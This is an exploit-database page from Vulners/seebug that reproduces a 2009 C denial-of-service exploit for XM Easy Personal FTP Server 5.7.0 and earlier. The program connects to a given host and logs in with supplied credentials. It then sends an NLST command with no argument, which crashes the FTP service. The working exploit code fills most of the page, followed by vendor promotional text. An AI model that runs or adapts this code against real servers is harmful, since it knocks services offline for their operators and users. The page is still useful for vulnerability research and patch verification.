Lucene search
K

XM Easy Personal FTP Server <= 5.7.0 (NLST) DoS Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

XM Easy Personal FTP Server <= 5.7.0 (NLST) DoS Exploit. Remote Denial of Service with Request (NLST) caused by an error in handling the NLST command. Exploit crashes the FTP service by sending "NLST" with NULL argument

Code

                                                /*
XM Easy Personnal FTP Server &#60;= 5.7.0
Remote Denial of Service with Request (NLST)

---------------------------------------------------------------------------------------------------------
The vulnerability is caused due to an error in handling the NLST command. This can be exploited to crash 
the FTP service by sending the &#34;NLST&#34; with NULL argument.
---------------------------------------------------------------------------------------------------------

Author: Jonathan Salwan
Mail  : submit [AT] shell-storm.org
Web   : http://www.shell-storm.org
*/

#include &#34;stdio.h&#34;
#include &#34;unistd.h&#34;
#include &#34;stdlib.h&#34;
#include &#34;sys/types.h&#34;
#include &#34;sys/socket.h&#34;
#include &#34;netinet/in.h&#34;

int syntax(char *file)
	{
	fprintf(stderr,&#34;XM Easy Personnal FTP Server &#60;= 5.7.0\n&#34;);
	fprintf(stderr,&#34;=&#62;Syntax  : &#60;%s&#62; &#60;ip&#62; &#60;port&#62; &#60;login&#62; &#60;passwd&#62;\n&#34;,file);
	fprintf(stdout,&#34;=&#62;Exemple : %s 127.0.0.1 21 login1 password1\n&#34;,file); 
	exit(0);
	}

int main(int argc, char **argv)
{
	if (argc &#60; 4)
		syntax(argv[0]);
	
	int port = atoi(argv[2]);

	int mysocket;
	int mysocket2;
	int srv_connect;
	int sockaddr_long;


		struct sockaddr_in sockaddr_mysocket;
		sockaddr_long = sizeof(sockaddr_mysocket);
		sockaddr_mysocket.sin_family = AF_INET;
		sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
		sockaddr_mysocket.sin_port = htons(port);

        char request[50];
	char answer[200];

        fprintf(stdout,&#34;[+]Connect to Server %s\n&#34;,argv[1]);

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
                        fprintf(stderr,&#34;[-]FAILED SOCKET\n&#34;);
			return 1;}

	srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
		
	if (srv_connect != -1)
 		{	

                memset(answer,0,200);
	        recv(mysocket2,answer,sizeof(answer),0);

		sprintf(request, &#34;USER %s\r\n&#34;, argv[3]);		
			if (send(mysocket2,request,strlen(request),0) == -1){
				fprintf(stderr,&#34;[-]Send Request USER\t\t[FAILED]\n&#34;);
				shutdown(mysocket2,1);
				return 1;}
			else{
				memset(answer,0,200);
				recv(mysocket2,answer,sizeof(answer),0);
				}
		
		sprintf(request, &#34;PASS %s\r\n&#34;, argv[4]);
		                if (send(mysocket2,request,strlen(request),0) == -1){
		                        fprintf(stderr,&#34;[-]Send Request PASS\t\t[FAILED]\n&#34;);
		                        shutdown(mysocket2,1);
		                        return 1;}
		                else{ 
					memset(answer,0,200);
		                        recv(mysocket2,answer,sizeof(answer),0);
		                 }
                sprintf(request, &#34;NLST\r\n&#34;);
                        if (send(mysocket2,request,strlen(request),0) == -1){
                                fprintf(stderr,&#34;[-]Send Request NLST\t\t[FAILED]\n&#34;);
                                shutdown(mysocket2,1);
                                return 1;}
			
		}
	else{
		fprintf(stderr,&#34;[-]Connect\t\t[FAILED]\n&#34;);
		shutdown(mysocket2,1);
		return 1;}


	shutdown(mysocket2,1);


fprintf(stdout,&#34;[+]Done! %s has been Crashed\n&#34;, argv[1]);
return 0;
}

// milw0rm.com [2009-03-27]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
22